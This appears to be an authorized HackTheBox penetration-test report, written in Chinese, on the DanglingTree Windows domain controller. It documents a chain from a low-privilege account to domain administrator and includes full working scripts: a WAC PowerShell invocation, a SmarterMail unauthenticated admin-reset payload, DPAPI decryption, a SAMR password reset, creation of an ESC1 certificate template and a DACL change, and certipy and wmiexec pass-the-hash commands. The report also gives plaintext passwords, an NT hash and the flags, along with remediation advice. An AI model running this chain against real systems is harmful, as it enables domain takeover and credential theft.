授權內網滲透測試

DanglingTree | Active Directory / Windows Server

完整 SOP、攻擊路徑、重現腳本、證據與修補建議

目標	10.129.165.183 / dc.danglingtree.htb
網域	danglingtree.htb
測試日期	2026-11-06（Asia/Taipei）
結果	已取得並提交 user.txt 與 root.txt；HTB 頁面確認 Root owned
分類	授權靶場測試；本文件明文包含旗標、密碼與雜湊

閱讀方式

本文依實際攻擊順序記錄。指令與腳本適用於本次授權靶機；其他系統需重新確認授權、網路範圍、版本與帳號。原始逐字稿位於工作目錄 evidence 子目錄，報告內附核心完整腳本與可重現指令。

1. 執行摘要

此 Windows 網域控制站可由一組低權限帳密一路提升至網域管理員。主要鏈條包含 Windows Admin Center 命令執行、SmarterMail 未驗證管理員密碼重設與密碼揭露、DPAPI 儲存憑證解密、SAMR 密碼重設，以及 AD CS 發佈清單與模板物件不一致造成的 ESC1 憑證濫用。最後以管理員憑證完成 PKINIT，並透過 WMI 讀取 root.txt。

結果摘要

項目	結果
user flag	44f2ab30887da33d7623bf3138597678
root flag	dccecf93ae7c5ef0994b5cbe6e7bdd7f
HTB 提交	User 與 Root 均已成功提交；頁面顯示「DanglingTree root is now owned」及已解題通知。
最高權限	Administrator@danglingtree.htb 憑證、TGT 與 NT hash 已取得；WMI 查詢成功。
風險	Critical：單一低權限網域帳號可導致網域控制站管理員權限與旗標讀取。

本測試在可授權靶場範圍內完成。因攻擊路徑必須修改狀態，報告亦完整列出未回復的測試變更；請在靶機重設或由管理者依第 8 節復原。

測試側效果：svc_mail 密碼被設為 DTree!2026-Reset#01；Jake 密碼被設為 J4ke!Stage2#2026；SmarterMail 中原網域被 detach，備份資料夾以 danglingtree.htb.bak 名稱掛載；建立並修改 RemoteAccessVPN 模板，並簽發管理員憑證 request ID 18。這些狀態未在報告完成前復原。

2. 範圍與測試方法

範圍只含使用者明確指定的 HTB DanglingTree 靶機及其服務。測試透過 HTB VPN 連線，未掃描或測試其他主機。TCP 全埠掃描及服務探測；未做 UDP 全面掃描。未執行破壞性壓力測試、持久化植入或外傳資料。

核准與規則

工作區 SMB 的 RoE Assessment PDF 提供低權限帳號，文件將評估範圍限定於 danglingtree.htb 網域與 DC。使用者另在本對話明確授權針對 IP 進行全方面測試、解決工具問題，並在取得旗標後自動提交。

流程

依「盤點服務 to 讀取公開 SMB 資料 to 驗證 WAC to 檢查本機郵件服務 to 取得網域帳號 to 本機登入與 DPAPI to 驗證 AD 權限 to 修復並利用 AD CS to 取得旗標與提交」執行。每個權限跳躍均以帳號驗證、命令輸出、旗標或 CA 請求輸出做佐證。

測試工具

RustScan、Nmap、SMB client、ldap3、Impacket 0.13.1、Certipy 5.1.0、BloodHound、Python requests/cryptography、RunasCs v1.5。缺少的 Python 工具安裝在隔離 venv：reports/danglingtree_10.129.165.183/tools-venv。時差約 7 小時，使用 wrapper 改寫工具程序時間及名稱解析，未變更本機系統時鐘。

3. 攻擊流程圖

下圖是本次成功路徑。紅框代表可直接利用的錯誤設定；藍綠框代表取得憑證、橫向移動或最終驗證。



圖 1. 實際已驗證的權限提升鏈。各箭頭均有對應原始證據與指令。

4. 發現與風險排序

ID / 嚴重度	發現	影響與佐證
F-01 Critical	WAC 命令執行授權檢查失效	anderson.w 低權限登入可呼叫 WAC WinREST PowerShell，whoami 回傳 danglingtree\anderson.w。與公開 CVE-2026-26119 的 WAC 不當驗證弱點類別相符；靶機版本對照未獨立確認，因此以本次 API invoke 的實際命令執行作為已驗證事實。
F-02 Critical	SmarterMail 重設 API 未驗證可指定系統管理員	內網 loopback 17017 上未認證呼叫 force-reset-password，送入 IsSysAdmin=true 後成功重設 svc_mail。以新密碼登入可取得郵件管理 API 權限。
F-03 Critical	SmarterMail show-password API 直接洩露網域郵箱密碼	系統管理員 API 可讀取所有 mailbox 密碼；取得 Noah、Emma、Liam、Oliver、Sophia 密碼。Noah 密碼經 Kerberos TGT 驗證。
F-04 High	Noah 使用者 DPAPI 儲存 domain credential 可被解密	Noah profile 中 masterkey 與 Credential blob 可讀；已知 Noah 密碼解密出 alex.o 密碼，Kerberos 驗證成功。
F-05 Critical	alex.o 可透過 SAMR 重設 jake.h 密碼	以 Alex 憑證對 SMB SAMR reset Jake 密碼成功。未經核准的密碼重設破壞帳號擁有者存取並造成 AES key 失效。
F-06 Critical	CA 發佈不存在之模板 + Jake 可建立模板 + ESC1	CA 發佈 RemoteAccessVPN、EmployeeAuthTemplate、VPNUserTemplate，但 AD template container 找不到物件。Jake 可建立物件；模板加入 Authenticated Users GenericAll 後啟用 Client Authentication / ESC1，管理員 UPN+SID 憑證請求 18 簽發成功。
F-07 Critical	管理員憑證可取得 TGT/NT hash 並使用 WMI	Certificate SAN UPN/SID 均指向 Administrator；PKINIT TGT 成功，NT hash 8cac…13925；wmiexec 執行 type root.txt 成功。

補充觀察

SMB signing required、LDAP signing enforced、匿名 LDAP 僅 RootDSE、DNS zone transfer 失敗、未觀察到 Kerberoast/AS-REP 可直接取得的密碼雜湊、Noah 的 WAC/WMI/RDP/管理分享存取均拒絕。這些控制沒有阻止 WAC 與郵件服務的權限鏈。

5. SOP：逐步重現與驗證

以下為依實際成功路徑排列的步驟。先設定靶機 IP 與 host mapping；在每一步記錄時間、輸出與工具版本。憑證與密碼僅應用於授權靶機。

5.1 範圍確認與服務盤點

```
TARGET=10.129.165.183
# Confirm VPN route, then scan all TCP ports
rustscan -a "$TARGET" --ulimit 5000 -- -sV -sC -oA evidence/tcp-all
# Detailed service scan
nmap -Pn -sV -sC -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,6600 "$TARGET" -oA evidence/tcp-services
# Anonymous SMB and readable shares
smbclient -N -L "//$TARGET"
smbclient "//$TARGET/IT" -N -c "recurse ON;ls"
# Add local target name mapping only if needed
printf "10.129.165.183 dc.danglingtree.htb danglingtree.htb\n" | sudo tee -a /etc/hosts
```

實際 TCP 開放：53, 80, 88, 135, 139, 389, 443, 445, 464, 593, 636, 3268, 3269, 3389, 9389, 49664, 49681, 49683, 49690, 49691, 49699, 49709, 49755, 49771, 6600。DC 名稱 dc.danglingtree.htb；Windows Server 2025 build 26100。

5.2 初始憑證、WAC 與 SmarterMail

RoE 位於 SMB IT\Security\DanglingTree_RoE_Assessment.pdf。Anderson 帳密可登入，但 WAC access/check 回傳 false；PowerShell invoke API 在相同登入態可執行 whoami。SmarterMail loopback 17017 可由 WAC PowerShell 存取；force-reset-password 未驗證且可自稱 IsSysAdmin。隨後以系統管理員 API 的 show-password 還原郵箱密碼。

> WAC RCE 實際輸出：HTTP 200，PowerShell 輸出 danglingtree\anderson.w。Mail reset：success=true。Noah 密碼：RiverDragon#Storm25。

SmarterMail force-reset-password 探測 payload

```
$base = 'http://127.0.0.1:17017/api/v1'
$new = 'DTree!2026-Reset#01'
$body = @{ IsSysAdmin='true'; OldPassword='dummy'; Username='svc_mail'; NewPassword=$new; ConfirmPassword=$new } | ConvertTo-Json
$r = Invoke-RestMethod -Method Post -Uri "$base/auth/force-reset-password" -ContentType 'application/json' -Body $body
$r | Select-Object success,resultCode,errorCode
# Observed: success=True, resultCode=200
```

該 API 允許匿名重設的行為與公開 WT-2026-0001 分析相符；目標產品 build 未獨立確認。僅在隔離授權靶場執行。

5.3 Noah、user.txt 與 DPAPI

WAC 執行 RunasCs v1.5 暫存於 $env:TEMP，作為 noah.b 執行 whoami，輸出 danglingtree\noah.b；腳本 finally 清除執行檔。讀取 Noah Desktop\user.txt 得 user flag。cmdkey /list 顯示 PC01.danglingtree.htb 使用者 alex.o。DPAPI 以 Noah 的密碼解密 masterkey GUID f53fcaba-f057-48e8-8f92-0180d274bf0f，再解開 Credential blob，得 alex.o 密碼 SunsetMountainPeak@2025。

5. SOP：逐步重現（續）

5.4 Alex to Jake

以 Alex 對 jake.h 執行 Impacket changepasswd.py，protocol=smb-samr，-reset。輸出 Password was changed successfully。重設密碼為 J4ke!Stage2#2026。SAMR 重設後 Jake 不再持有有效 AES keys，GetTGT AES 失敗是可預期結果；使用 NTLM/LDAPS 驗證即可。

5.5 檢查 CA 發佈清單與模板物件

Certipy find -u jake.h@danglingtree.htb -p ... -dc-ip TARGET；再用 LDAPS 對 Enrollment Services 讀取 certificateTemplates，並逐一與 CN=Certificate Templates 下的物件比對。RemoteAccessVPN、EmployeeAuthTemplate、VPNUserTemplate 為 CA 發佈但缺失的模板。Jake 對模板容器有 CreateChild 權限，因此新增 RemoteAccessVPN 物件。

5.6 套用 ESC1 設定並申請 Administrator 憑證

建立模板之後，Jake 是該物件 Owner，但初始 DACL 不允許寫入所需屬性。以 Owner 的 WRITE_DAC 調整 DACL，追加 Authenticated Users (S-1-5-11) GENERIC_ALL，再用 Certipy -write-default-configuration 設定 Client Authentication EKU、可提供主體與有效旗標。這是利用中不可少的設定步驟，且是本次變更。

```
certipy req -u "jake.h@danglingtree.htb" -p "J4ke!Stage2#2026" \
  -dc-ip 10.129.165.183 -target dc.danglingtree.htb -target-ip 10.129.165.183 \
  -timeout 30 -ca danglingtree-DC-CA -template RemoteAccessVPN \
  -upn administrator@danglingtree.htb \
  -sid S-1-5-21-4220238332-57023728-1129110646-500 \
  -out evidence/administrator
# Kerberos time wrapper, without changing the host clock
python kerberos-timewrap.py <tools-venv>/bin/certipy auth \
  -pfx evidence/administrator.pfx -dc-ip 10.129.165.183 \
  -domain danglingtree.htb -username administrator
# Use the returned Administrator hash to read the root flag
python kerberos-timewrap.py <tools-venv>/bin/wmiexec.py \
  -hashes LMHASH:NTHASH DANGLINGTREE/administrator@10.129.165.183 \
  "type C:\Users\Administrator\Desktop\root.txt"
```

Certificate request ID 18 成功簽發；UPN 與 SID 都匹配 Administrator。TGT 成功，NT hash：8cacb3a97e460c65d105ca7cd9913925。wmiexec 輸出 root.txt：dccecf93ae7c5ef0994b5cbe6e7bdd7f。

6. 證據摘要與旗標

原始輸出已保存於 evidence 目錄。以下是實際輸出摘錄的圖像化證據卡，內容忠實節錄原始紀錄；它們是終端輸出呈現，不是主機桌面截圖。HTB 頁面提交結果已在 UI 確認，畫面內容在下方轉為逐字確認紀錄。

證據 A | WAC PowerShell 執行

```
EVIDENCE 01 | WAC PowerShell proof
HTTP 200
whoami => danglingtree\anderson.w
```

來源：wac-invoke-check.txt

證據 B | Noah 本機登入與 user flag

```
EVIDENCE 02 | Noah user proof
whoami => danglingtree\noah.b
user.txt => 44f2ab30887da33d7623bf3138597678
```

來源：runas-noah-proof.txt / noah-userflag-and-dpapi-paths.txt

證據 C | 憑證簽發與 Administrator 身分

```
EVIDENCE 03 | Admin certificate
Request ID 18 | Successfully requested certificate
UPN=administrator@danglingtree.htb
SID=...-500
```

來源：cert-request-admin.txt

證據 D | root flag 與 HTB 提交

```
EVIDENCE 04 | Root and HTB status
root.txt => dccecf93ae7c5ef0994b5cbe6e7bdd7f
HTB: “DanglingTree root is now owned.”
User flag owned | Root flag owned
```

來源：root-flag.txt / 已提交 UI 狀態

旗標（依使用者要求明文列出）

名稱	值	驗證
user.txt	44f2ab30887da33d7623bf3138597678	Noah 權限讀取成功，HTB User flag owned
root.txt	dccecf93ae7c5ef0994b5cbe6e7bdd7f	Administrator WMI 讀取成功，HTB Root flag owned

7. 取得的憑證與密碼（完整明文）

下列資料來自靶機本次授權測試，包含刻意重設的密碼、透過郵件 API 讀出的密碼、管理員 NT hash 及旗標。它們不應在靶場外使用；此處依需求不遮蔽。

主體	密碼或驗證材料	來源 / 狀態
anderson.w	R3dT3am@Acc3ss#01	RoE 提供；有效低權限帳號
svc_mail	DTree!2026-Reset#01	本次未驗證重設 API 設定；原密碼未知
emma.s@danglingtree.htb	EmmaSecure2026!Pass	SmarterMail show-password API
liam.m@danglingtree.htb	LiamPowerPass@2026	SmarterMail show-password API
noah.b@danglingtree.htb	RiverDragon#Storm25	SmarterMail API；Kerberos TGT 驗證
oliver.t@danglingtree.htb	OliverStrong#24Pass	SmarterMail show-password API
sophia.k@danglingtree.htb	SophiaSecure!Pass24	SmarterMail show-password API
alex.o	SunsetMountainPeak@2025	Noah DPAPI Credential blob；Kerberos TGT 驗證
jake.h	J4ke!Stage2#2026	Alex 經 SAMR 重設；本次仍有效
Administrator	NTLM: 8cacb3a97e460c65d105ca7cd9913925 LM: aad3b435b51404eeaad3b435b51404ee	Certipy 憑證認證後取得 NT hash（Kerberos U2U）；WMI 已驗證

其他關鍵值：Jake SID S-1-5-21-4220238332-57023728-1129110646-1103；Noah SID ...-1602；Administrator SID ...-500。RunasCs v1.5 ZIP SHA256 88f826096be1ed1be32dd45dc2381189df7c5f349c7b808edb872e68be4a9350，EXE SHA256 29955ba1e2193047ee5f4561445f81e218ae4de1a295f8fd296ad536bf381f17。PFX：evidence/administrator.pfx；CA request ID 18。

8. 修補建議與測試狀態復原

立即修補（Critical）

- WAC 升級至 Microsoft 已修補版本；僅允許管理網段存取，停用不需要的 gateway API；確認 API 權限與 GUI 權限使用同一授權邏輯。檢查 WAC、PowerShell、Windows Event Logs 中 Anderson 登入與 invokeCommand 紀錄。 - SmarterMail 升級至修補版本；移除未驗證的 force-reset-password 行為；系統管理員權限只能由已驗證、授權的主體取得；限制管理 API 於 loopback 不足以保護已取得 WAC 程式碼執行的攻擊者。 - 禁止直接顯示郵箱明文密碼；只存不可逆密碼雜湊，提供單次重設流程；輪替所有五個 mailbox 密碼與 svc_mail。 - 收緊 AD CS：刪除不必要的 Enrollment Services 發佈名稱；確保所有發佈模板物件存在且有審核；限制模板容器 CreateChild/WriteDACL；移除 Authenticated Users GenericAll；限制 Enrollee Supplies Subject 及 Client Authentication 組合；管理員帳號不允許透過一般可註冊模板取得憑證。

身分與端點修補

- 修正 Alex to Jake SAMR 重設權限：最小化 Reset Password/ForceChangePassword ACL；啟用審計並要求自助式密碼復原。輪替 Alex、Jake 憑證並檢查其他可重設帳號關係。 - 清理端點 DPAPI/Credential Manager 內的持久 domain password；避免用高權限服務帳號存於互動使用者 profile；保護可讀取 user profile 的本機程序與檔案 ACL。 - 檢查 SMB 中 RoE/文件不應存放長期有效密碼；改用一次性、有期限、限定來源的測試帳號。

本次測試變更與回復

測試期間實際變更如下，報告產生時未回復： 1. svc_mail 密碼：設為 DTree!2026-Reset#01。原密碼未知，不能還原原值；請由管理員重新設定強密碼並輪替憑證。 2. SmarterMail domain：detach danglingtree.htb，attach C:\SmarterMail\Domains\danglingtree.htb.bak；目前活動域名報告為 danglingtree.htb.bak。管理者應確認原資料與設定後 detach .bak，再將原路徑 C:\SmarterMail\Domains\danglingtree.htb 以 danglingtree.htb attach，驗證使用者與郵件。 3. jake.h 密碼設為 J4ke!Stage2#2026；請要求使用者重設並確認 Kerberos AES key 正常刷新。 4. 建立 RemoteAccessVPN AD template，修改 DACL 為 Authenticated Users GenericAll，套用 ESC1 設定；需撤回 CA request 18、刪除新增模板物件，並移除 CA 發佈中的孤兒名稱或恢復原始狀態。 5. RunasCs 暫存檔由 finally 清除；PFX、ccache、DPAPI 樣本與其解密輸出留在本機 evidence 目錄，應妥善銷毀或封存。

9. 檢測與重現腳本

核心完整腳本原文附於本章；其他逐字輸出按檔名保留於同一 evidence 子目錄。指令執行前請確認 IP、DNS、VPN 與 RoE。Python 依賴在隔離 venv，Impacket 0.13.1、Certipy 5.1.0。

快速檢測清單

```
1) nmap -Pn -sV -sC -p- 10.129.165.183 -oA tcp-all
2) smbclient -N -L //10.129.165.183
3) smbclient //10.129.165.183/IT -N
4) certipy find -u jake.h@danglingtree.htb -p <Jake■■> -dc-ip 10.129.165.183
5) ldap3 ■■ CA certificateTemplates ■ AD CN=Certificate Templates ■■■■■ A■
6) ■■■■ owner/DACL ■ write rights■■■ B/C■
7) certipy req -ca danglingtree-DC-CA -template RemoteAccessVPN -upn administrator@danglingtree.htb -sid <Administrator SID>
8) certipy auth -pfx administrator.pfx -dc-ip 10.129.165.183
9) wmiexec.py -hashes <LM>:<NT> DANGLINGTREE/administrator@10.129.165.183 "type C:\Users\Administrator\Desktop\root.txt"
```

注意：此檢查清單的步驟 7
只有在已建立並設定缺失模板後才會簽發；它不是無副作用的唯讀掃描。完整鏈需依第 5 節執行。

附錄 A | WAC API 認證與 PowerShell invoke

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 A | WAC API 認證與 PowerShell invoke

證據來源：evidence/wac-run.py

```
import base64,json,re,socket,sys
from pathlib import Path
import requests
from cryptography.hazmat.primitives.asymmetric import rsa,padding
from cryptography.hazmat.primitives import hashes
B=Path(__file__).resolve().parent; T='https://dc.danglingtree.htb:6600'; orig=socket.getaddrinfo
def resolve(h,p,*a,**kw):
 if isinstance(h,str) and h.rstrip('.').lower() in {'dc.danglingtree.htb','danglingtree.htb'}: h='10.129.165.183'
 return orig(h,p,*a,**kw)
socket.getaddrinfo=resolve; requests.packages.urllib3.disable_warnings(); s=requests.Session(); s.verify=False
roe=(B/'target-document.txt').read_text(errors='replace'); u=re.search(r'(?m)^\s*Username\s+([^\s]+)',roe).group(1); pw=re.search(r'(?m)^\s*Password\
s+([^\s]+)',roe).group(1)
r=s.get(T+'/',timeout=15); csrf=re.search(r'<input type="hidden" name="csrf" id="csrf" value="([^"]+)"',r.text).group(1); j=s.post(T+'/api/user/key',
json={'csrf':csrf},timeout=15).json()['jwk']; pub=rsa.RSAPublicNumbers(int.from_bytes(base64.urlsafe_b64decode(j['e']+'=='),'big'),int.from_bytes(
base64.urlsafe_b64decode(j['n']+'=='),'big')).public_key(); packet=base64.b64encode(pub.encrypt(json.dumps({'username':u,'password':pw,'csrf':csrf},
separators=(',',':')).encode(),padding.OAEP(mgf=padding.MGF1(hashes.SHA256()),algorithm=hashes.SHA256(),label=None))).decode(); s.post(T+'/api/user/
login',json={'packet':packet,'csrf':csrf},timeout=15)
headers={'Content-Type':'application/json; charset=UTF-8','X-Xsrf-Token':s.cookies.get('XSRF-TOKEN',''),'X-Ms-Sme-Module-Name':'msft.sme.shell','X-Ms-
Sme-Module-Version':'6.8.9'}
script=sys.stdin.read().strip()
if script.startswith('POLL '):
 sid=script.split(' ',1)[1]; r=s.get(T+'/api/services/WinREST/PowerShell/nodes/dc/features/powershellApi/pssessions/'+sid+'?$expand=output',
headers=headers,timeout=20)
else:
 p={'properties':{'script':script,'command':'Get-WACSMServerConnectionStatus','module':'Microsoft.SME.ServerManager','state':'ready',
'useInProcRunspace':False,'invokeMode':'Polling','waitTimeMs':30000}}
 r=s.post(T+'/api/services/WinREST/PowerShell/nodes/dc/invokeCommand',headers=headers,json=p,timeout=30)
print('http_status='+str(r.status_code)); print(r.text[:5000])
```

附錄 B | 比對 CA 與 AD 模板

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 B | 比對 CA 與 AD 模板

證據來源：evidence/adcs-dangling-templates.py

```
"""Compare CA-published template names with actual AD template objects as jake.h."""
import ssl,json
from pathlib import Path
from ldap3 import Connection,NTLM,Server,Tls,BASE,ALL
B=Path(__file__).resolve().parent; s=Server('10.129.165.183',port=636,use_ssl=True,tls=Tls(validate=ssl.CERT_NONE),get_info=ALL)
c=Connection(s,user='DANGLINGTREE\\jake.h',password='J4ke!Stage2#2026',authentication=NTLM,auto_bind=True,receive_timeout=20)
base='CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb'
c.search(base,'(objectClass=pKIEnrollmentService)',attributes=['cn','dNSHostName','certificateTemplates'],search_scope='SUBTREE')
ca=[{'cn':e.cn.value,'host':e.dNSHostName.value,'published':e.certificateTemplates.values} for e in c.entries]
tbase='CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb'
result=[]
for x in (ca[0]['published'] if ca else []):
 c.search(tbase,f'(cn={x})',attributes=['cn','displayName','msPKI-Certificate-Name-Flag','pKIExtendedKeyUsage'],search_scope='SUBTREE')
 result.append({'published_name':x,'exists_in_AD':bool(c.entries),'entry':str(c.entries[0].entry_dn) if c.entries else None})
out={'ca':ca,'published_vs_objects':result}; (B/'adcs-dangling-templates.json').write_text(json.dumps(out,indent=2,default=str)); print(json.dumps(
out,indent=2,default=str)); c.unbind()
```

附錄 C | 建立缺少的憑證模板

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 C | 建立缺少的憑證模板

證據來源：evidence/create-dangling-template.py

```
"""Create the CA-published-but-missing template object as its container-authorized owner."""
import base64,ssl,json
from pathlib import Path
from ldap3 import Connection,NTLM,Server,Tls
B=Path(__file__).resolve().parent
srv=Server('10.129.165.183',port=636,use_ssl=True,tls=Tls(validate=ssl.CERT_NONE))
c=Connection(srv,user='DANGLINGTREE\\jake.h',password='J4ke!Stage2#2026',authentication=NTLM,auto_bind=True,receive_timeout=20)
base='CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb'
name='RemoteAccessVPN';dn=f'CN={name},{base}'
c.search(base,f'(cn={name})',attributes=['cn'])
if c.entries: print('exists_before=True'); raise SystemExit(1)
attrs={'objectClass':['top','pKICertificateTemplate'],'cn':name,'instanceType':'4','displayName':name,'name':name,'showInAdvancedViewOnly':'TRUE',
'flags':'0','revision':'5','objectCategory':'CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=danglingtree,DC=htb','pKIDefaultKeySpec':'2',
'pKIKeyUsage':b'\x86\x00','pKIMaxIssuingDepth':'-1','pKICriticalExtensions':['2.5.29.19','2.5.29.15'],'pKIExpirationPeriod':base64.b64decode(
'AEAepOhl+v8='),'pKIOverlapPeriod':base64.b64decode('AICmCv/e//8='),'pKIDefaultCSPs':'1,Microsoft Enhanced Cryptographic Provider v1.0','msPKI-RA-
Signature':'0','msPKI-Enrollment-Flag':'0','msPKI-Private-Key-Flag':'16','msPKI-Certificate-Name-Flag':'1','msPKI-Minimal-Key-Size':'2048','msPKI-
Template-Schema-Version':'1','msPKI-Template-Minor-Revision':'1','msPKI-Cert-Template-OID':'1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.
9092015.147.1.18'}
ok=c.add(dn,attributes=attrs);print('ldap_add='+str(ok));print('result='+json.dumps(c.result,default=str));c.unbind()
```

附錄 D | 設定模板 DACL

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 D | 設定模板 DACL

證據來源：evidence/grant-template-acl.py

```
#!/usr/bin/env python3
"""Authorized HTB lab proof: grant Authenticated Users control of lab template."""
import ssl
from ldap3 import Server, Connection, NTLM, Tls, MODIFY_REPLACE
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, ACE, ACCESS_ALLOWED_ACE, ACCESS_MASK, LDAP_SID
IP='10.129.165.183'; DN='CN=RemoteAccessVPN,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=danglingtree,DC=htb'
conn=Connection(Server(IP,port=636,use_ssl=True,tls=Tls(validate=ssl.CERT_NONE)),user='DANGLINGTREE\\jake.h',password='J4ke!Stage2#2026',
authentication=NTLM,auto_bind=True)
ctrl=security_descriptor_control(sdflags=0x4)
conn.search(DN,'(objectClass=*)',attributes=['nTSecurityDescriptor'],controls=ctrl)
sd=SR_SECURITY_DESCRIPTOR(); sd.fromString(conn.entries[0]['nTSecurityDescriptor'].raw_values[0])
ace=ACE(); ace['AceType']=0; ace['AceFlags']=0
body=ACCESS_ALLOWED_ACE(); mask=ACCESS_MASK(); mask['Mask']=0x10000000; body['Mask']=mask
sid=LDAP_SID(); sid.fromCanonical('S-1-5-11'); body['Sid']=sid; ace['Ace']=body
sd['Dacl'].aces.append(ace)
if not conn.modify(DN,{'nTSecurityDescriptor':[(MODIFY_REPLACE,[sd.getData()])]},controls=ctrl):
    raise SystemExit(f'LDAP modify failed: {conn.result}')
print('LDAP modify succeeded; appended GENERIC_ALL ACE for Authenticated Users (S-1-5-11).')
```

附錄 E | Noah 執行 RunasCs 驗證

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 E | Noah 執行 RunasCs 驗證

證據來源：evidence/runas-noah-proof.py

```
"""Transfer official RunasCs v1.5 temporarily, validate Noah context, then remove it."""
import base64,subprocess,hashlib
from pathlib import Path
B=Path(__file__).resolve().parent
z=(B/'RunasCs-v1.5.zip').read_bytes()
import zipfile,io
exe=zipfile.ZipFile(io.BytesIO(z)).read('RunasCs.exe')
b64=base64.b64encode(exe).decode()
remote=r'''$p=Join-Path $env:TEMP 'rs-check.exe'
try {
 [IO.File]::WriteAllBytes($p,[Convert]::FromBase64String('__B64__'))
 "uploaded_sha256="+(Get-FileHash $p -Algorithm SHA256).Hash
 & $p noah.b 'RiverDragon#Storm25' 'cmd.exe /c whoami' -d DANGLINGTREE -l 8
 "runas_exit=$LASTEXITCODE"
} finally { Remove-Item $p -Force -ErrorAction SilentlyContinue }
'''.replace('__B64__',b64)
r=subprocess.run([str(B.parent/'tools-venv/bin/python'),str(B/'wac-run.py')],input=remote,text=True,capture_output=True,timeout=60)
print(r.stdout);print(r.stderr)
print('local_sha256='+hashlib.sha256(exe).hexdigest())
```

附錄 F | DPAPI 解密流程

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 F | DPAPI 解密流程

證據來源：evidence/decrypt-noah-dpapi.py

```
"""Decrypt Noah's DPAPI masterkey and saved credential using the recovered password."""
import contextlib,io,re,runpy,sys
from pathlib import Path
B=Path(__file__).resolve().parent; s=(B/'smartermail-password-recovery.txt').read_text(errors='replace'); pw=re.search(r'\\"password\\":\\"([^\\"]+)',
s).group(1)
entry=str(B.parent/'tools-venv/bin/dpapi.py'); sid='S-1-5-21-4220238332-57023728-1129110646-1602'
sys.argv=[entry,'masterkey','-file',str(B/'noah-masterkey.blob'),'-sid',sid,'-password',pw]
b=io.StringIO()
try:
 with contextlib.redirect_stdout(b),contextlib.redirect_stderr(b): runpy.run_path(entry,run_name='__main__')
except SystemExit: pass
out=b.getvalue(); (B/'noah-masterkey-decrypt.txt').write_text(out); print(out[:3000])
m=re.search(r'(?i)Decrypted key:\s*0x([0-9a-f]+)',out)
if not m: raise SystemExit('decrypted masterkey not found')
key='0x'+m.group(1); sys.argv=[entry,'credential','-file',str(B/'noah-credential.blob'),'-key',key]
b=io.StringIO()
try:
 with contextlib.redirect_stdout(b),contextlib.redirect_stderr(b): runpy.run_path(entry,run_name='__main__')
except SystemExit: pass
out=b.getvalue(); (B/'noah-credential-decrypt.txt').write_text(out); print('\nCREDENTIAL:\n'+out[:3000])
```

附錄 G | Kerberos 時差 wrapper

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 G | Kerberos 時差 wrapper

證據來源：evidence/kerberos-timewrap.py

```
"""Run an Impacket/Certipy entry point with the observed DC time offset."""
import datetime
import runpy
import sys
import socket

_original_getaddrinfo = socket.getaddrinfo
def _target_resolver(host, port, *args, **kwargs):
    if isinstance(host, str) and host.rstrip(".").lower() in {"dc.danglingtree.htb", "danglingtree.htb"}:
        host = "10.129.165.183"
    return _original_getaddrinfo(host, port, *args, **kwargs)
socket.getaddrinfo = _target_resolver

offset = datetime.timedelta(hours=7)
OriginalDateTime = datetime.datetime

class ShiftedDateTime(OriginalDateTime):
    @classmethod
    def now(cls, tz=None):
        current = OriginalDateTime.now(datetime.timezone.utc) + offset
        current = current.astimezone(tz) if tz is not None else current.replace(tzinfo=None)
        return cls(current.year, current.month, current.day, current.hour, current.minute, current.second, current.microsecond, tzinfo=current.tzinfo,
 fold=current.fold)

datetime.datetime = ShiftedDateTime
if len(sys.argv) < 2:
    raise SystemExit("usage: kerberos-timewrap.py ENTRYPOINT [args ...]")
entrypoint = sys.argv[1]
sys.argv = [entrypoint, *sys.argv[2:]]
runpy.run_path(entrypoint, run_name="__main__")
```

附錄 H | SAMR 密碼重設

完整腳本，按本次已執行版本抄錄。密碼均為本次授權靶機測試值。

附錄 H | SAMR 密碼重設

證據來源：evidence/reset-jake-samr.py

```
"""Reset jake.h through authorized SAMR using the recovered alex.o account."""
import re,runpy,sys
from pathlib import Path
B=Path(__file__).resolve().parent; s=(B/'noah-credential-decrypt.txt').read_text(errors='replace'); pw=re.findall(r'(?m)^Unknown\s*:\s*(\S+)',s)[-1]
entry=str(B.parent/'tools-venv/bin/changepasswd.py')
new='J4ke!Stage2#2026'
sys.argv=[entry,'-newpass',new,'-altuser','alex.o','-altpass',pw,'-reset','-protocol','smb-samr','-dc-ip','10.129.165.183','DANGLINGTREE/jake.h@10.
129.165.183']
runpy.run_path(entry,run_name='__main__')
```

10. 外部參考與範圍限制

本節用於辨識漏洞類別與工具參數；實際可利用性與影響均以本次靶機輸出為準。

- CVE-2026-26119：CVE.org 記錄與 Microsoft WAC 安全公告索引。https://www.cve.org/CVERecord?id=CVE-2026-26119
- SmarterMail force-reset-password WT-2026-0001：watchTowr technical analysis；SmarterTools build 9511 remediation note
- Certipy Active Directory certificate template escalation 指引：Certipy Wiki - Privilege Escalation
- Certipy 命令參考：Certipy Wiki - Command Reference - Rapid7 Metasploit LDAP AD CS template 範例：ad_cs_cert_template.rb - 授權來源：工作區 SMB share 中的 DanglingTree_RoE_Assessment.pdf；另外以使用者在本對話中的明確授權為本次測試範圍。

限制與可重現性

靶機服務可短暫不可用或重設；證據時間以本機 2026-11-06 為準。目標 DC 時間落後工作站約 7 小時，wrapper 只對本地 Python 程序提供偏移，需重新測量時差而不可盲目沿用。CA 請求 ID、隨機憑證序號、SMB/RPC port 與旗標可能在靶機 reset 後改變。未對其他主機或外部網域驗證本報告發現。

交付核對

[x] 目標與授權範圍記錄 [x] 攻擊流程圖 [x] 逐步 SOP [x] 核心完整重現腳本 [x] 漏洞影響與修補建議 [x] 證據摘錄與完整旗標 [x] 帳密明文與測試側效果 [x] HTB User/Root 提交成功

